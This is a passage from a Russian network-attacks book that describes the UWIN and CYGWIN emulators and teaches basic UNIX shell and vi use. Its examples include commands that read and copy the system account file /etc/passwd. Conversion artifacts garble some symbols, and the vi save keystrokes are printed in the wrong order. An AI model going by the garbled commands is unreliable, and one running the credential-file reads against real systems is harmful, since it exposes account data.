Для некоммерческого использования полноценную копию UWIN можно получить бесплатно, посетив сайт автора - http://www.research.att.com/sw/tools/uwin/. Установленный UWIN предоставляет следующие возможности: “UWIN has a set of popular shells like ksh (Kornshell) amp; tcsh (C shell) and more than 300 utilities like vi, ls, ps, grep, tail, uudecode/uuendecode, mailx, find, perl, awk, etc along with a vt100 terminal emulation. It also provides a Telnet server along with other inet daemons and utilities like telnet, ftp, rsh, rlogin, and their corresponding servers for Windows NT, enabling a user to remotely access the system over the network. Optional tools include the Apache Web-server and bind DNS server. [84]

Врезка «Системные требования UWIN»*

· Software requirements Software requirements

· UWIN Base toolkit + UWIN SDK

· Microsoft Visual C/C++ 4.0 or higher or GNU C/C++ compiler

· Microsoft Windows NT 4.0 or higher (Workstation or Server) or

· Microsoft Windows 95/98

· Hardware requirements Hardware requirements

· Intel x86, Pentium, Pentium Pro and compatible systems

· 30-100MB of available hard-disk space

UWIN содержит множество популярных командных оболочек, свыше 300 необходимых для работы утилит и даже позволяет запускать Apache WEB сервер и DNS сервер. Администраторов Windows NT не может не порадовать наличие полноценного telnetd -демона (как известно в штатную поставку Windows NT не входит никаких средств удаленного управления компьютером) [85].

Рисунок 048 Демонстрация наличия telnet-сервера в эмуляторе UWIN

Разработчикам пригодится компилятор GNU C/C++ и отладчик gdb, или любой другой инструментарий - по выбору. Например, perl, awk, tcl… да всего не перечислишь! Кстати, в UWIN входит «обертка» (wrapper) для Microsoft Visual C++, дополняющая его возможностью обработки исходных текстов UNIX-приложений. Разумеется, откомпилированный текст можно отлаживать чем угодно, в том числе и Soft-Ice, не имеющим аналогов в среде UNIX.

Наконец, даже никого не собирающиеся атаковать пользователи, со временем обнаружат - пользоваться командными оболочками UNIX, намного удобнее, чем елозить мышью. Благо, UWIN позволяет запускать не только UNIX, но и Windows-приложения, умело обращаясь не только с дисками, но и с реестром.

Отныне ветви реестра будут представлены каталогами, а ключи - файлами. Корневой раздел реестра монтируется в каталог “/reg” На рисунке 049 показано, как вывести на экран содержимое ветви реестра “HKEY_CURRENT_USER\Network\Persistent\H”. Но этим возможности UWIN не ограничиваются. В реестре становится возможным хранить и обрабатывать файлы, точь-в-точь как на обычном жестком диске!

 Эмулятор UWIN позволяет обращаться с реестром Windows точно так, как с файлом

Выше был употреблен термин “монтируется” - UWIN эмулирует монтируемую файловую систему, то есть позволяет произвольным образом объединять в одну логическую структуру, файлы и каталоги физически расположенные на разных дисках и даже компьютерах. По умолчанию корневым каталогом назначается директория, в которую инсталлирован UWIN. Корень диска «С» становится каталогом “/C/”, и соответственно “/A/”, “/B/”, “/D/”, “/E” для остальных дисков (если они есть). Каталог Windows доступен как “/C/Windows”, так и через короткий псевдоним “/Win”. Сетевые компьютеры автоматически монтируются так же, как и в Windows, но с наклоном черты в обратную сторону, т.е. “\\SERVER\C” станет называться “//SERVER/C”. Вообще же узнать, как смонтирован тот или иной ресурс можно с помощью команды mount. Например, на компьютере автора результат ее работы выглядел так:

· C:\Program Files\UWIN on / type FAT32 (ic,text,grpid,suid,rw)

· C:\Program Files\Microsoft Visual Studio\vc98\ on /msdev type FAT32 (ic,text,grpid,suid,rw)

· A: on /A type FAT (ic,text,grpid,suid,rw)

· C: on /C type FAT32 (ic,text,grpid,suid,rw)

· D: on /D type FAT32 (ic,text,grpid,suid,rw)

· E: on /E type FAT32 (ic,text,grpid,suid,rw)

· F: on /F type FAT32 (ic,text,grpid,suid,rw)

· //SERVER/C on /H type FAT ()

· /usr/bin on /bin type LOFS (ic,text,grpid,suid,rw)

· /usr/lib on /lib type LOFS (ic,text,grpid,suid,rw)

· /usr/etc on /etc type LOFS (ic,text,grpid,suid,rw)

· /usr/dev on /dev type LOFS (ic,text,grpid,suid,rw)

· /C/WINDOWS on /win type FAT32 (ic,text,grpid,suid,rw)

· /C/WINDOWS/SYSTEM on /sys type FAT32 (ic,text,grpid,suid,rw)

· /usr/proc on /proc type PROC (ic,text,grpid,suid,rw)

· /usr/reg on /reg type REG (ic,text,grpid,suid,noexec,rw)

Однако, монтируемая файловая система видна только из-под UWIN, а Windows-приложения даже и не подозревают о ней. Поэтому, попытка вызвать notepad для просмотра фала /win/readme.txt провалится, а правильный вариант должен выглядеть так: “/win/notepad C:\\windows\\readme.txt”. Дублирование косой черты обязательно, в противном случае Windows сообщит: “Не удается найти файл C:windowsreadme.txt” (такая ситуация показана на рисунке 050):

Рисунок 050 Демонстрация вызова приложений Windows из эмулятора UNIX

Так происходит потому, что в UNIX (и UWIN), косая черта “\” зарезервирована за управляющими символами (например, “\t” обозначает знак табуляции, а “\n” - перенос строки), а когда требуется отобразить сам символ обратной черты, прибегают к его дублированию.

Каталог “/dev” предназначен для управления устройствами. Его содержимое может быть следующим:

· $ ls /dev

· clipboard ptyp0 ptyq7 tty06 tty29 ttypb

· fd ptyp1 ptyq8 tty07 tty30 ttypc

· fd0 ptyp2 ptyq9 tty08 tty31 ttypd

· fd1 ptyp3 ptyqa tty09 tty32 ttype

· lp ptyp4 ptyqb tty10 tty33 ttypf

· lp0 ptyp5 ptyqc tty11 tty34 ttyq0

· lp1 ptyp6 ptyqd tty12 tty35 ttyq1

· lp2 ptyp7 ptyqe tty13 tty36 ttyq2

· mod0 ptyp8 ptyqf tty14 tty37 ttyq3

· mod1 ptyp9 rmt0 tty15 tty38 ttyq4

· mod2 ptypa rmt0n tty16 tty39 ttyq5

· mod3 ptypb rmt1 tty17 tty40 ttyq6

· mod4 ptypc rmt1n tty18 ttyp0 ttyq7

· mod5 ptypd stderr tty19 ttyp1 ttyq8

· mod6 ptype stdin tty20 ttyp2 ttyq9

· mod7 ptypf stdout tty21 ttyp3 ttyqa

· mt0 ptyq0 tty tty22 ttyp4 ttyqb

· mt0n ptyq1 tty00 tty23 ttyp5 ttyqc

· mt1 ptyq2 tty01 tty24 ttyp6 ttyqd

· mt1n ptyq3 tty02 tty25 ttyp7 ttyqe

· null ptyq4 tty03 tty26 ttyp8 ttyqf

· ptmx ptyq5 tty04 tty27 ttyp9 windows

· ptymx ptyq6 tty05 tty28 ttypa

Под незамысловатым именем clipboard скрывается буфер обмена Windows. С помощью UWIN из него можно читать и писать как в обычный файл; “fd” - обозначают приводы гибких дисков, прежде чем с ними начать работать необходимо воспользоваться командой mount; “lp” символизирует параллельный порт, и для вывода файла на принтер достаточно скопировать его в устройство “lp1” (LPT1) или “lp2” (LPT 2) в зависимости от схемы подключения (“cp myfile lp1”). Последовательный (т.е. COM) порт, обозначается как “mod” и может использоваться для управления модемом (например “echo atz\natdp 02» mod1”); “mt” расшифровывается как SCSI Type Driver [86] и всегда присутствует в списке устройств, даже когда на компьютере не установлено ни одного SCSI контроллера. Назначения остальных устройств можно узнать из прилагаемой к UWIN документации.

Описание UWIN останется не полным, если не снять с него крышку, и не заглянуть под капот. Архитектурно эмулятор состоит всего из двух динамических библиотек POSIX.DLL и AST5x.DLL. В POSIX реализовано множество системных вызовов UNIX таких, как fork, exec, malloc; фактически образующих ядро виртуальной UNIX. Ядро заведует памятью, управляет процессами и отвечает за операции ввода-вывода. Роль AST5x гораздо скромнее - это всего лишь аналог стандартной библиотеки Си “stdio”, написанной с учетом особенностей эмуляции UNIX. (Смотри рисунок 042)

Рисунок 042 Архитектура эмулятора UWIN

При этом все UWIN-приложения разделяют общий регион памяти, содержащий в частности таблицу открытых файлов и кучу. («UWIN maintains an open file table in a memory-mapped region, which is shared by all the currently active UWIN processes; this region is writable by all UWIN processes so that the appropriate information can be shared between them»). (Смотри рисунок 006.txt) Отсюда следует, одно UWIN приложение потенциально способно «уронить» другое, или иными словами, некорректно работающий код может скинуть ласты, предоставив злоумышленнику привилегированный доступ к системе. Поэтому, если UWIN используется в качестве серверной платформы, не следует запускать приложения сомнительного происхождения.

Рисунок 006. Разделяемая память UWIN-приложений

В остальном же, UWIN приложения ничем не отличаются от обычных исполняемых файлов Windows и могут запускаться непосредственно из Explorer, минуя среду UIWN.

 Логотип CYGWIN

Другой популярный эмулятор UINX - CYGWIN по многим показателям заметно уступает UWIN, зато распространяется вместе с исходными текстами и, разумеется, абсолютно бесплатен. Зато плохо документирован и рассчитан на опытного пользователя, который сам разберется что к чему.

Собственно, CYGWIN никакой не эмулятор UNIX, а всего лишь набор функций, помещенных в одну динамическую библиотеку “cygwin1.dll” и облегчающий перенос UNIX-приложений в среду Windows,. Для получения навыков работы в командных оболочках он, конечно, сгодится, но для изучения тонкостей UNIX - навряд ли. Для подтверждения этого ниже приведены результаты работы команды “cat /etc/passwd [87]” в UWIN и CYGWIN:

· UWIN
· $ cat /etc/passwd
· root:x:0:13:Built-in account/domain:/tmp:/usr/bin/ksh
· telnetd:x:1:1:telnetd:/:/dev/null
· CYGWIN
· $ cat /etc/passwd
· /etc/passwd: No such file or directory

В CYGWIN вообще нет файла “/etc/passwd” и он не эмулирует подсистему безопасности UNIX. Конечно, это не мешает написать соответствующие процедуры самостоятельно, но не лучше ли воспользоваться готовым UWIN? Кстати, в UWIN изначально входит базовый набор утилит и оболочек, автоматически устанавливаемых программой инсталляции. Напротив же, пользователи CYGWIN вынуждены самостоятельно скачивать необходимые компоненты с сервера, порой исправляя грубые ошибки, часто приводящие к полной неработоспособности кода (благо исходные тексты доступны).

Больше всего огорчает отсутствие в CYGWIN механизма поддержки демонов. Так, на момент написания книги, не известно ни одной реализации telnet-сервера под CYGWIN. В остальном же архитектуры этих двух эмуляторов достаточно близки. Как и в UWIN используется разделяемая память для всех приложений ("…creates shared memory areas… used to keep track of open file descriptors and assist fork and exec, among other purposes" [88]). Реализация fork сводится к созданию приостановленного процесса с последующим копированием сегмента данных ("…creates a suspended child process using the Win32 CreateProcess call; next… fills in the child's.data and.bss sections by copying from its own address space into the suspended child's address space”). А выполнение exec приводит к образованию нового процесса и подмене идентификаторов в локальной таблице эмулятора -"exec present their own set of difficulties. Because there is no way to do an actual exec under Win32, Cygwin has to invent its own Process IDs"

Поэтому, в точности воспроизведения ядра UNIX оба эмулятора практически идентичны и все отличия выпадают на долю прикладных утилит. Проигрывая в этом вопросе, CYGWIN значительно превосходит UWIN в производительности, особенно в операциях ввода-вывода. К сожалению, UWIN слишком медленно обращается с экраном и работа с “Mortal Commander” превращается в сплошное мучение [89]. Между тем, он идеально подходит для демонстрации многих примеров, приведенных в этой книге.

К сожалению, CYGWIN не поддерживает сырых гнезд, никак не отмечая этот прискорбный факт в документации [90] - “The current release includes all POSIX.1/90 calls except for setuid and mkfifo, all ANSI C standard calls, and many common BSD and SVR4 services including Berkeley sockets”. В результате этого, многие программы, работающие с IP протоколом на низком уровне (большей частью для атак на чужие системы), не смогут корректно выполнятся в среде CYGWIN.

Человек, который способен взять что-то заурядное, привычное и осветить его новым светом, может устрашить. Мы не хотим, чтобы наши представления изменялись; нам кажется, что требовать этого, значит, угрожать нам. "Все важное мне уже известно!" - кричим мы. И тут приходит Изменяющий и выбрасывает все наши представления прочь - словно ненужный мусор.

Мастер Дзен-суфи

Первые шаги с UNIX (глава для начинающих)

O В этой главе:

O Оболочки - что это такое?

O Краткая история оболочек UNIX

O Как узнать какая оболочка выполняется в данный момент

O Как узнать, какие оболочки установлены на компьютере

O Как просмотреть список файлов

O Немного о правах доступа

O Как сменить текущую директорию

O Как создавать и удалять каталоги

O Как можно копировать файлы

O Как просмотреть содержимое файла

O Редактирование файлов с помощью редактора vi

O Фоновое выполнение процессов

O Как узнать список выполняемых процессов в системе

O Как можно «прибить» процесс

O Как пользоваться справочным руководством man

–Ой, Вань, гляди, какие форточки!

Балдею, что за красота!

А Юникс - буквы все да черточки,

И непонятно ни черта.

Юрий Нестеренко «Диалог у монитора»

В работе с UNIX нет ничего мистического и освоить простейшие операции можно в течение одного вечера, особенно если воспользоваться толковой книжкой. К счастью, недостатка в литературе испытывать не приходится, но слишком много - так же плохо, как и совсем ничего. Попробуй, выбери одну книжку из десятка, разбросанных по витрине! Поэтому, в «Технику сетевых атак» включена короткая глава, помогающая незнакомым с UNIX сделать свои первые шаги. На звание учебника она не претендует, но, по крайней мере, поясняет основные команды UNIX, используемые в этой книге.

Для UNIX существует множество интерактивных оболочек с развитым пользовательским интерфейсом - от Mortal Commander (аналог Norton Commander) до графических сред аля Windows. Они помогают начинающим освоиться в мире UNIX, но оказываются крайне неудобными для удаленного управления компьютером. Даже текстовой Mortal Commander ощутимо тормозит на модемных каналах. А о графических оболочках вспоминать и вовсе не приходится, - комфортная работа возможна лишь при наличии шустрой локальной сети! Поэтому, придется поступиться некоторыми удобствами, и, расставшись с мышью, разговаривать с компьютером языком текстовых команд. Такое общение с UNIX в чем-то напоминает работу с интерпретатором MS-DOS “command.com”. Разумеется, названия команд окажутся другими, но в целом принцип тот же.

В UNIX (в отличие от MS-DOS) нет стандартной командной оболочки, поэтому первая задача пользователя - выяснить, что именно установлено в системе, и какие альтернативные оболочки доступны.

Путь к используемой в данный момент оболочке содержится в переменной $SHELL и вывести его на экран можно с помощью команды “echo $SHELL” (соблюдая регистр). Результат ее работы может быть следующим:

· Эмулятор UWIN

· echo $SHELL

· /usr/bin/ksh

· Эмулятор CYGWIN

· echo $SHELL

· /bin/sh

Теперь по таблице 3 легко определить, какая именно оболочка запущена (конечно, при условии, что никакие злые духи не изменили имя исполняемого файла).

– Имя файла Название оболочки

– bash Усовершенствованная оболочка Борна

– csh Оболочка С

– ksh Оболочка Корна

– sh Оболочка Борна

– tcsh Оболочка TC

Таблица 3 Имена исполняемых файлов некоторых популярных оболочек

Пару слов об особенностях каждой оболочки. Первой на свет появилась оболочка Борна, фактически представляющая собой язык программирования, ориентированный на управление процессами, вводом-выводом и операции шаблонного поиска. Никакого интерактивного взаимодействия с пользователем в ней не предусматривалось, и вся работа сводилась к написанию управляющих программ - скриптов, обрабатываемых оболочкой.

Первая интерактивная оболочка, получившая название «С», возникла в университете Беркли. Она быстро завоевала популярность, но имела множество недостатков и содержала кучу ошибок, поэтому полностью вытеснить оболочку Борна так и не смогла. Проблема же совместного сосуществования заключалась в полной несовместимости командных языков обоих оболочек. Это приводило к невозможности выполнения скриптов, написанных для одной оболочки, другой оболочкой.

К тому же открытость исходных текстов “С” вызвала появление массы несовместимых между собой клонов. Некоторые из них дожили и до наших дней (как, например, “TC”,- своеобразный гибрид “С” и “TENEX” - операционной системы PDP-10).

Существовали и коммерческие оболочки. Из них наибольшей популярностью пользовалось творение, созданное Дэвидом Корном, объединившее в себе лучшие черты своих предшественников. Компании AT amp;T распространяла ее вместе с операционной системой System V, объявив стандартном де-юре.

Стандарт - хорошо, но платить компании никто не хотел, и вскоре оболочка Борна была полностью переписана в рамках проекта GNU, получив название bash - Borne Again Shell. Многочисленные усовершенствования и перенос в среду LINUX сделали bash самой популярной оболочкой всех времен и народов, хотя многие до сих пор предпочитают пользоваться C-Shell или оригинальной оболочкой Борна. К тому же, по-прежнему не иссякает поток энтузиастов, пишущих свои собственные оболочки.

Во многих случаях различия между оболочками не столь существенны и не отражаются на простейших операциях, но все примеры, приводимые в книге, предназначены для оболочки Корна и их успешное выполнение в других оболочках не гарантируется (хотя и предполагается). Поэтому, полезно знать, какие оболочки установлены администратором на машине. В этом поможет команда “cat /etc/shells”, результат работы которой на свежеустановленном эмуляторе UWIN выглядит следующим образом:

· cat /etc/shells

· /usr/bin/ksh

· /usr/bin/sh

· /usr/bin/tcsh

· /usr/bin/csh

· /bin/sh

· /bin/ksh

· /bin/csh

· /bin/tcsh

Запустить любую оболочку можно, набрав ее имя (возможно, вместе с полным путем), в командной строке. А вернуться назад обычно помогает команда exit. В качестве тренировочного упражнения полезно запустить все доступные оболочки по очереди. (Чаще всего пути ”/usr/bin” и “/bin” указывают на один и тот же каталог, поэтому эквивалентны друг другу).

· $ echo $SHELL

· /usr/bin/ksh

· $ /usr/bin/sh

· # echo $SHELL

· /usr/bin/ksh

· # exit

· $ /usr/bin/tcsh

· # echo $SHELL

· /usr/bin/ksh

· # exit

· $ /usr/bin/csh

· %echo $SHELL

· /usr/bin/ksh

· %exit

Для просмотра содержимого директорий в командном интерпретаторе “command.com” (MS-DOS) предусмотрена встроенная команда “dir”, но UNIX-оболочки не поддерживают такой команды. Вместо этого пользователю предоставляется возможность вызвать внешнюю утилиту, выполняющую всю необходимую работу. Обычно в UNIX для отображения содержимого каталога используется программа ‘ls’, находящаяся в каталоге “/bin”. Кстати, пользователи CYGWIN прежде чем смогут ей воспользоваться, должны скачать с сервера архив fileutils.tar.gz - в минимальный комплект поставки она не входит.

Вызов без параметров выводит на экран содержимое текущего каталога, а заглянуть в корень поможет наклонная черта - “ls /” [91]

· ls /

· A E proc

· base.bat etc reg

· baseserviceslink.sh F sys

· bin H tmp

· C home usr

· D lib var

· dev linka win

Узнать, что находится в каталоге “/etc” можно передав его имя в качестве параметра команде ‘ls’:

· $ ls /etc

· crontab inetdconfig.sh passwd.add traceit

· in.ftpd init.exe priv.exe tracer.exe

· in.rlogind login.allow profile ucs.exe

· in.rshd login.deny rc ums.exe

· in.telnetd mailx.rc services

· inetd.conf mkpasswd.exe shells

· inetd.exe passwd stop_uwin

Конечно же, поддерживаются символы-джокеры, - знаки «звездочка» и «вопрос». В UNIX, в отличие от MS-DOS, существует конструкция [char set], которую имеет смысл рассмотреть подробнее. Но для начала нелишне вспомнить назначение “*” и “?”. Знак “*” обозначает любое множество любых символов (включая пустое), а “?” всего один непустой символ. Поэтому, “ls x*” выведет на экран все файлы (и каталоги), начинающиеся с буквы ‘x’, а “ls?tmp”- покажет ‘_tmp’,’$tmp’ и так далее.

Конечно же, временами гибкости таких шаблонов оказывается недостаточно, например, как быть, когда требуется получить список файлов, начинающихся и на букву ‘i’, и на букву ‘p’? В MS-DOS с этим пришлось бы управляться в два захода, последовательно отдавая команды ‘dir i*’ и ‘dir p*’. К счастью, в UNIX с той же проблемой можно управиться за один присест! Например, так:

· $ ls /etc/[ip]*

· /etc/in.ftpd /etc/inetd.conf /etc/passwd

· /etc/in.rlogind /etc/inetd.exe /etc/passwd.add

· /etc/in.rshd /etc/inetdconfig.sh /etc/priv.exe

· /etc/in.telnetd /etc/init.exe /etc/profile

А как быть, если необходимо отобразить все файлы, в имени которых присутствует хотя бы одна цифра? Неужели придется писать утомительно длительную последовательность ‘ls *[0123456789]*’ [92]? К счастью нет! И необходимый интервал можно задать следующим образом: ‘[0-9]’, например, вот так:

· $ls /etc/*[0-9]*

· /etc/k1y /etc/mkss2old /etc/track7

Если такой информации окажется недостаточно и потребуется узнать, скажем, права доступа к файлу, имя владельца и время последнего изменения, то придется воспользоваться ключом ‘-l’ (маленькая латинская буква L, не спутайте с единицей). Например, так:

· ls -l /etc

· -rwxr-r- 1 root Everyone 46 Feb 16 1999 crontab

· -rwxr-r- 1 root Everyone 19968 Feb 17 1999 mkpasswd.exe

· drwxr-r- 2 root Everyone 512 Jul 2 16:52 mydir

· -rwxr-r- 1 root Everyone 119 Jul 1 12:45 passwd

· lrwxr-r- 1 root Everyone 20 Jun 4 03:10 services -» /C/WINDOWS//services

· -rwxr-r- 1 root Everyone 88 Feb 17 1999 shells

· -rwxr-r- 1 root Everyone 73216 Feb 2 07:25 ums.exe

Первая колонка сообщает права доступа. Она состоит из тех трехсимвольных групп, определяющих права доступа создателя (то бишь владельца файла), его группы и всех остальных пользователей. Каждая группа в свою очередь состоит из трех атрибутов, разрешающих чтение (r), запись (w) и исполнение (x).

- Расшифровка файловых атрибутов

Тут надобно заметить, что в UNIX выполняемые файлы распознаются по атрибуту ‘x’, и могут иметь любое расширение или вовсе не иметь его. Обычно большинство файлов и каталогов имеют следующие права доступа ‘rwxr-r-r’, т.е. создатель файла может делать с ним что угодно, а всем остальным разрешается читать, но не модифицировать или запускать.

Для изменения прав доступа предусмотрена утилита chmod (сокращение от Change Mode). Для того, чтобы действие возымело эффект, необходимо указать группу пользователей (‘u’ - для владельца, ‘g’ - для членов его группы, ‘o’ - для всех прочих и ‘a’ для всех-всех, т.е. ‘u’+’g’+’o’ одновременно), затем наличие (знак ‘+’) или отсутствие (знак ‘-‘) требуемого атрибута. Например, защитить собственные файлы от «чужого глаза» можно с помощью команды ‘chmod g-r,o-r *’.

Директории отличаются от простых файлов по стоящему впереди символу ‘d’ (смотри рисунок 009.txt)

- Директории в UNIX отличаются от файлов наличием атрибута ‘d’

Следующая колонка сообщает количество псевдонимов, под которыми файл (директория) известен системе. Например, для каталога ‘/bin’ это число равно двум, поскольку обычно ‘/bin’ и ‘/usr/bin’ ссылаются на одну и ту же директорию.

· drwxrwxrwx 2 root Everyone 512 Jun 4 00:50 bin

· drwxrwxrwx 3 root Everyone 512 Jun 4 00:51 dev

· drwxrwxrwx 16 root Everyone 512 Jun 4 00:51 lib

Затем идет имя владельца файла (в данном примере ‘root’) и группа, к которой он принадлежит (‘Everyone’). И замыкают строку размер, время создания и имя файла (директории). Вся остальная информация по работе с ‘ls’ содержится в руководстве ‘man’ и может быть получена с помощью команды ‘man ls’.

Перейти в другой каталог, как и в MS-DOS, можно с помощью команды ‘cd’. Стоит заметить, в UNIX нет понятия диска, поэтому специальной команды для его изменения не существует - для навигации достаточно одного ‘cd’. Например:

· $ cd /
· $ ls
· A E proc
· base.bat etc reg
· baseserviceslink.sh F sys
· bin H tmp
· C home usr
· D lib var
· dev linka win
· $ cd /A
· $ ls
· tpna.arj
· $ cd /var
· $ ls
· adm tmp uninstall

Для создания новых каталогов предназначена команда ‘mkdir’ (Make Directory). Вызов ‘mkdir myname’ создаст в текущем каталоге новую директорию ‘myname’. А вот попытка создать несколько вложенных друг в друга каталогов провалится, если не указать ключ ‘-p’. Например:

· $ mkdir temp
· $ cd temp
· $ ls
· $ mkdir 1/2/3
· mkdir: 1/2/3: [No such file or directory]
· $ mkdir -p 1/2/3
· $ ls
· 1
· $ ls 1
· 2
· $ ls 1/2
· 3

Кстати, обратите внимание, - в UNIX ключи задаются до имен файлов, иначе вместо ключа ‘-p’ создастся директория с таким именем. Да, ‘mkdir’ позволяет создать более одного каталога за вызов. Например:

· $ mkdir 1 2 3
· $ ls
· 1 2 3

Удалить ненужные каталоги поможет команда ‘rm’. По умолчанию удаляются одни файлы, а для уничтожения директорий необходимо задать дополнительный ключ ‘-d’. Если удаляемый каталог содержит вложенные директории, то начать удаление необходимо с самого «нижнего» из них или воспользоваться ключом ‘-r’, рекурсивно стирающим все без разбора. Так, для уничтожения созданных в предыдущем примере каталогов ‘/1/2/3’ можно воспользоваться следующими командами:

· rm -d /1/2/3

· rm -d /1/2

· rm -d /1

· Или обойтись всего одной:

· rm -d -r /1

А для копирования файлов в UNIX предусмотрена утилита ‘cp’ - аналог ‘copy’ из MS-DOS. Например, скопировать “/etc/passwd” в свой собственный каталог можно командой: “cp /etc/passwd /home”, а просмотреть его содержимое поможет утилита ‘cat’. Например:

· $ cp /etc/passwd /home

· $ cat /home/passwd

· root:x:0:13:Built-in account for administering the computer/domain:/tmp:/usr/bin/ksh

· telnetd:x:1:1:telnetd:/:/dev/null

Тут необходимо сделать небольшое пояснение. Изначально ‘cat’ разрабатывалась для объединения нескольких файлов в один, но в качестве целевого файла использовался стандартный вывод, поэтому пользоваться утилитой приходилось приблизительно так “cat file1 file2 file 3» file123”. Знак “»” обрабатывался оболочкой, подменяющей стандартный вывод указанным файлом. Если же целевой файл не указывался, утилита последовательно выводила содержимое перечисленных файлов на экран.

Конечно, существуют и более элегантные способы просмотра содержимого файла и его редактирования. Например, редактор ‘vi’ [93]. Это классическая утилита UNIX может вызвать насмешку у пользователей MS-DOS/Windows, привыкших к визуальному редактированию, поскольку редактор ‘vi’ управляется своим собственным командным языком, без знаний которого невозможно даже сохранить файл или выйти из vi!

Сначала это шокирует, но позже, освоившись с vi, начинаешь понимать насколько же оболванивает и ограничивает визуальный интерфейс. С другой стороны, edit.com не требует никакого обучения - сел и работай, а командный язык редактора vi можно изучать месяцами, в течение которых большую часть времени придется провести за листанием документации, с небольшими перерывами на собственно набивку текста.

Да, это так! Но при ближайшем рассмотрении недостатки оборачиваются преимуществами. Командный язык несравненно гибче системы меню и значительно ускоряет редактирование текста, стоит освоить его в совершенстве. Конечно, можно возразить «лучше за час добежать, чем за день долететь», но, в конечном счете, время, потраченное на освоение vi, может превзойти ожидаемое увеличение производительности оператора, да и машинное время сегодня не так критично, как стремление максимально облегчить умственную деятельность пользователей.

Действительно, в UNIX существуют вполне привычные пользователям Windows редакторы, и выбор того или иного - личное дело каждого. Разумеется, при условии, что выбранный редактор установлен в системе. К сожалению, администраторы многих серверов не балуют своих пользователей разнообразием, тем более, когда предоставляют хостинг бесплатно. Теоретически возможно связаться с администратором и попросить установить ваш любимый редактор, но практически это оказывается сложнее изучения vi, который поставляется со всеми UNIX-совместимыми системами, и всегда доступен (если, конечно, не удален администратором).

Поэтому минимальные навыки работы с редактором vi никогда не помешают, и как знать - может быть, через некоторое время он окажется вашим любимым редактором!

Для того чтобы пользоваться vi, вовсе не обязательно устанавливать на своем компьютере операционную систему UNIX или один из ее эмуляторов, - vi дал рождение многочисленным клонам, некоторые из которых успешно перенесены в среду Windows 9x/Windows NT и даже MS-DOS. Большую популярность завоевал vim, портированный на платформы Amiga, Atari, Mac System 7, UNIX, MS-DOS, Windows, словом практически для любого компьютера существует реализация vim. Остается добавить, что vim свободно распространяется вместе с исходными текстами и находится, например, на быстром германском ftp сервере - ftp://ftp.fu-berlin.de/misc/editors/vim, а на компакт-диске, прилагаемом к книге, он помещен вместе с сопроводительной документацией в директорию “/FILES/vim”.

Сразу же после запуска vi будет выглядеть приблизительно так, как показано на рисунке 054.bmp (в данном случае vi был запушен с параметром hello для создания нового файла).

 Внешний вид редактора vim - клона vi, запущенный в операционной системе Windows

Знаки “~” (тильда) указывают на конец файла и в действительности отсутствуют в файле. Если попытаться набрать текст “Hello, World!” на экране ничего не появится, а vi ответит разраженным покрикиванием.

Дело в том, что у vi есть два режима - командный режим и режим вставки. В командном режиме можно перемещать курсор по экрану, искать и заменять фрагменты текста, сохранять и загружать файлы с диска - словом командовать редактором, а режим вставки предназначен для ввода самого текста.

Сразу же после запуска vi оказывается в командном режиме и переключится в режим вставки можно, например, нажав клавишу «i». Дождавшись появления курсора вверху экрана, наберем восклицание “Hello, Word!” или что-нибудь в этом духе. Теперь необходимо сохранить файл на диск. Но как? Прежде необходимо один раз нажать «Esc» для переключения в командный режим, затем набрать следующую последовательность «:» «q» «w» «Enter».

Да… сложная вещь vi, но на самом деле все еще впереди! Загрузим только что созданный в редактор, указав его имя в командной строке, и попробуем отредактировать строку - изменить “Hello, World!” на “Hello, my world!”. Сначала попытаемся подвести курсор к месту правки, не пользуясь клавишами-стрелками, ибо не на всех платформах они правильно действуют. Хорошенькое начало, - чем же тогда управлять курсором?

Вообще-то не стоит волноваться понапрасну - раскладка клавиатуры обычно подбирается так, чтобы пользователи могли работать ни о чем не задумываясь, но все же иногда встречаются нерадивые администраторы, криво инсталлирующие vi на свою машину. Поэтому, на всякий случай полезно знать, что клавиша «h» в командном режиме перемещает курсор на одну позицию влево, «l» - вправо, а «j» и «k» соответственно вниз и вверх.

Нажмем шесть раз клавишу «l» или используем комбинацию «6»«l» (обычно цифра стоящая перед любой командой предписывает повторить эту команду надлежащие количество раз). Теперь наберем ‘my’, автоматически раздвигая остальные символы, а что бы заменить большую букву ‘W’ на строчечную войдем в командный режим по «Esc» и включим режим вставки символа, нажатием «r». Или же используем команду «~» (тильда) для инвертирования регистра символов.

Конечно, никто не и не утверждает, что пользоваться vi легко, но тягостные дни и месяцы обучения окупятся богатыми предоставляемыми возможностями, - vi поддерживает именованные буферы, макросы, обладает развитым механизмом шаблонного поиска, позволяет запускать команды оболочки не выходя из редактора, словом в умелых руках способен творить чудеса. Но эта книга не учебник по vi, поэтому, не задерживаясь на нем дальше, вернемся к освоению UNIX.

Продемонстрировать многозадачность UNIX поможет тот же vi - как быть, если, не выходя из редактора, потребуется выполнить какое-то действие? В Windows достаточно щелкнуть мышкой по заголовку окна другой программы или нажать «Alt»-«Tab», но разработчики UNIX пошли по другому пути.

Если нажать «Ctrl-Z», то выполнение процесса vi приостановится, и произойдет выход в оболочку. Убедиться в том, что ‘vi’ еще жив поможет команда ‘ps’, отображающая список всех процессов в системе (процесс vi.exe выделен жирным шрифтом):

· $ ps
· PID TT TIME COMMAND
· 148799 tty10 0 vi.exe
· 150872 tty10 0 ps.exe
· 320924 tty10 0 ksh.exe

Слева показаны идентификаторы процессов. Зная идентификатор процесса его можно «прибить» командной ‘kill’ или запустить передним планом утилитой ‘fg’. Например, так: “fg 148799” или так - “fg %1”, где “%1” задает порядковый номер процесса в списке. Независимо от способа запуска “fg”, редактор vi вновь появится на экране. Нажмем еще раз «Ctrl-Z» и воспользуемся командной kill для убиения процесса - “kill 148799” или “kill %1” - оба варианта одинаково хороши, но второй писать существенно короче.

А как поступить, если в vi требуется провести поиск сложного шаблона по всему тексту, выполняющийся ну неприлично длительный промежуток времени, в течение которого ничего не остается, как сидеть и тупо пялится на экран?

На помощь приходит фоновое выполнение задач. В этом случае понижается приоритет процесса, а экран предоставляется другому приложению. Перевести приложение в фоновой режим поможет команда “bg”, запускаемая точно так же как и “fg” (которая, кстати, пригодится для возращения процесса из фонового в нормальный режим). Большинство оболочек распознают символ ‘ amp;’, расположенный в конце командной строки, и автоматически запускают приложение в фоновом режиме. Например:

·

$ vi amp;
· [1] 141008
· $ ps
· PID TT TIME COMMAND
· 87458 tty10 0 ps.exe
· 141008 tty10 0 vi.exe
· 320924 tty10 0 ksh.exe
· [1] + Stopped (SIGTTIN) vi amp;
· $

